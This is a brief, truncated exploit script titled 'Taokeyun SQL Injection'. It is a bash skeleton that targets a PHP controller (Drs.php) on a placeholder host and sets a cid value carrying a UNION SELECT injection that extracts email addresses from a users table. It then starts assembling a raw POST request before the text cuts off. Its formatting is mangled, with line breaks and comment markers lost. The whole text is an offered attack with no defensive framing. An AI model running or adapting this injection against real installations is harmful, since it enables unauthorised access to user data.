Taokeyun SQL Injection

!/bin/bash Variables url="http://example.com/path/to/taokeyun/application/index/controller/m/Drs.php" cid="1' UNION SELECT 1,2,3,4,5,6,7,8,9,email FROM users-- -" Construct the request request="POST $url HTTP/1.1\r\n" request+="Content-Type: application/x-www-form-urlencoded\r\n"...